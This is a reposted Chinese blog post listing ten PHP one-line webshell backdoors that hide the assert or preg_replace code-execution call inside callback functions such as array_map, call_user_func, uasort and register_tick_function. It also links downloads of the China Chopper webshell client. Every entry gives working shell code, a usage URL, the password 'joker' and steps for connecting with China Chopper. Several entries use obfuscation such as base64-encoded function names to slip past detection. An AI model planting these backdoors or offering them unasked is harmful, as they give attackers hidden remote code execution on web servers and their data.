8. php回调后门
中國菜刀下載,基于原版中國菜刀優化版20160309.
下載地址:
http://pan.baidu.com/s/1jHoJxHW
China chopper
http://pan.baidu.com/s/1eRxEYjC
下面是收集并整理的各種一句話,帶使用方法:
?
1.php
<?php $POST['POST']='assert';$array[]=$POST;$array[0]['POST']($_POST['joker']); ?>用法:? http://www.xxx.com/1.php
菜刀連接用法: ?http://www.xxx.com/1.php
密碼:joker
詳解:? assert,是php代碼執行函數,與eval()有同樣的功能,應為$array[],POST[]都是數組,所以$array[]=$POST,就是把$POST數組的值賦給$array數組,這樣的話$array[0]['POST']的輸出就是assert,所以組成了一句話木馬
assert($_POST['joker']),直接用菜刀鏈接即可
?————————————————————————————————————————————————————————
2.php
<?php error_reporting(0); $g = array('','s'); $gg = a.$g[1].ser.chr('116'); @$gg($_POST[joker]); ?>用法: ?http://www.xxx.com/2.php
菜刀連接用法: http://www.xxx.com/2.php
密碼:joker
詳解:$g是個數組,$g[1]='s',chr('116')='t',(https://blog.csdn.net/yabingshi_tech/article/details/19833217 ASCll碼對應表),這樣的$gg=
assert,@$gg($_POST[joker])不就是assert($_POST[joker]),是我們常見的一句話木馬,直接菜刀鏈接即可
?————————————————————————————————————————————————————————
3.php (array_filter+base64_decode)
<?phperror_reporting(0);$e=$_REQUEST['e'];$arr=array($_POST['joker'],);array_filter($arr,base64_decode($e)); ?>用法: http://www.xxx.com/3.php?e=YXNzZXJ0
瀏覽器提交POST:joker=phpinfo();
菜刀連接用法: http://www.xxx.com/3.php?e=YXNzZXJ0
密碼:joker
詳解:base64_decode()函數主要用于base64的解碼,YXNzZXJ0的base64解碼后的結果為assert,$e接受瀏覽器傳過來的參數,$arr是個數組,array_filter()函數用回調函數過濾數組中的值,
,如果我們傳入$e的參數為YXNzZXJ0,這樣的話我們的回調函數名就是assert,并且要過濾數組中的每一個參數
就構成了assert($_POST['joker']),常見的一句話木馬,直接用菜刀鏈接即可
——————————————————————————————————————————————————————————
4.php
<?php error_reporting(0); call_user_func('assert', $_REQUEST['joker']); ?>用法: http://www.xxx.com/4.php
菜刀連接用法: http://www.xxx.com/4.php
密碼:joker
詳解:call_user_func()函數把第一個參數作為回調函數調用,也就是說assert是被調用的回調函數,其余參數是回調函數的參數。
這樣的話就直接構成了? assert($_REQUEST['joker']) 這樣的一句話木馬,直接用菜刀鏈接即可
———————————————————————————————————————————————————————————
5.php (array_map+base64_decode)
<?php error_reporting(0); $e = $_REQUEST['e']; $arr = array($_POST['joker'],); array_map(base64_decode($e), $arr); ?>用法: http://www.xxx.com/5.php?e=YXNzZXJ0
瀏覽器提交POST:joker=phpinfo();
菜刀連接用法: http://www.xxx.com/5.php?e=YXNzZXJ0
密碼:joker
詳解:我們主要來看array_map()這個函數,array_map() 函數將用戶自定義函數作用到數組中的每個值上,并返回用戶自定義函數作用后的帶有新值的數組。
這樣的話我們傳遞過去的assert(),就會對$arr數組中的每一個值進行作用,assert($_POST['joker']) ,直接菜刀鏈接即可
————————————————————————————————————————————————————————————————————
6.php (uasort+base64_decode)
<?phperror_reporting(0);$e = $_REQUEST['e'];$arr = array('test', $_REQUEST['joker']);uasort($arr, base64_decode($e)); ?> <?php$e = $_REQUEST['e']; $arr = array('test' => 1, $_REQUEST['joker'] => 2); uksort($arr, $e);
?>
用法: http://www.xxx.com/6.php?e=YXNzZXJ0
瀏覽器提交POST:joker=phpinfo();
菜刀連接用法: http://www.xxx.com/6.php?e=YXNzZXJ0
密碼:joker
詳解:我們主要來看uasort,uksort這兩個函數,uasort() 函數使用用戶自定義的比較函數按照值對數組排序,并保持索引關聯(不為元素分配新的鍵)
。uksort()函數用法與uasort()函數相似,不過是通過用戶自定義的比較函數對數組按鍵名進行排序。第一個例子是按照比較值來排序,傳遞進來的自
定義函數assert(),會作用與($_REQUEST['joker']) 這個值,就構成了一句話木馬;第二個例子是按照比較鍵名來排序,傳遞進來的自定義函數assert(),會作用與($_REQUEST['joker']) 這個鍵名,構成了一句話木馬,直接操刀鏈接即可。
————————————————————————————————————————————————————————————
7.php
<?phperror_reporting(0);
$e = $_REQUEST['e'];$arr = array($_POST['joker']);$arr1 = array(1);array_udiff($arr, $arr1, $e);
?>
用法: http://www.xxx.com/7.php?e=assert
瀏覽器提交POST:joker=phpinfo();
菜刀連接用法: http://www.xxx.com/7.php?e=assert
密碼:joker
詳解:我們先來看array_udiff()這個函數,array_udiff() 函數用于比較兩個(或更多個)數組的鍵值 ,并返回差集,注釋:該函數使用用戶自定義函數來比較鍵值!
也就是說$e是可調用的比較函數,數組$arr與$arr1的差集為($_POST['joker']),1,這時候傳過來assert()比較函數將會作用,assert($_POST['joker']),構成一句話
木馬,直接用菜刀鏈接
————————————————————————————————————————————————————————————————————
8.php (array_walk+preg_replace)
<?phperror_reporting(0);$e = $_REQUEST['e'];$arr = array($_POST['joker'] => '|.*|e',);array_walk($arr, $e, ''); ?>用法: http://www.xxx.com/8.php?e=preg_replace
瀏覽器提交POST:joker=phpinfo();
菜刀連接用法: http://www.xxx.com/8.php?e=preg_replace
密碼:joker
詳解:這個后門可以在php5.3下使用,array_walk()函數對數組中的每個元素應用用戶自定義函數。在函數中,數組的鍵名和鍵值是參數。至于我們為什幺要
傳一個preg_replace進去,preg_replace函數原型:mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])
特別說明: /e 修正符使 preg_replace() 將 replacement 參數當作 PHP 代碼(在適當的逆向引用替換完之后)。提示:要確保 replacement 構成一個合法的 PHP 代碼字符串,否則 PHP 會在報告在包含 preg_replace() 的行中出現語法解析錯誤。
意思是pattern也就是匹配模式出現/e修正符,后面的replacement就會被當作php代碼執行,這樣的話我們直接把 ($_POST['joker']) 這個小馬運行,所以直接用菜刀鏈接即可
與之有相似功能的函數還有 : mb_ereg_replace() ,preg_filter()
——————————————————————————————————————————————————————————————————————
9.php
<?phperror_reporting(0);$e = $_REQUEST['e'];register_shutdown_function($e, $_REQUEST['joker']); ?>瀏覽器GET提交:http://www.xxx.com/9.php?e=assert&settoken=phpinfo();即可執行phpinfo();
菜刀連接用法: http://www.xxx.com/9.php?e=assert
密碼:joker
詳解:register_shutdown_function()函數是來注冊一個會在PHP中止時執行的函數,
PHP中止的情況有三種:- 執行完成
- exit/die導致的中止
- 發生致命錯誤中止????
- ?? ,這樣的話等到php函數執行完成,就會調用我們傳進去的php中止時執行的函數
?
- 執行完成
?構成 assert($_REQUEST['joker']) ,一句話木馬 ,直接用菜刀鏈接即可
——————————————————————————————————————————————————————————————————————
10.php
<?phperror_reporting(0);$e = $_REQUEST['e'];declare(ticks=1);register_tick_function ($e, $_REQUEST['joker']); ?>瀏覽器GET提交:http://www.xxx.com/10.php?e=assert&settoken=phpinfo();即可執行phpinfo();
菜刀連接用法: http://www.xxx.com/10.php?e=assert
密碼:joker
詳解:register_tick_function函數必須要和declare流程控制機制合并使用,那么就先了解一下declare和tick:Tick 是一個在 declare 代碼段中解釋器每執行 N 條低級語句就會發生的事件。N 的值是在 declare 中的 directive 部分用 ticks=N 來指定的。在每個 tick 中出現的事件是由 register_tick_function() 來指定的。也就是說當ticks=1,每執行1行代碼,就需要運行一次我們傳過來的assert()函數,$_REQUEST['joker']是參數
這樣就構成了assert($_REQUEST['joker']) ,直接用菜刀鏈接一句話木馬即可
————————————————————————————————————————————————————————————
?
轉載于:https://www.cnblogs.com/bmjoker/p/8997793.html
總結
以上是生活随笔為你收集整理的8. php回调后门的全部內容,希望文章能夠幫你解決所遇到的問題。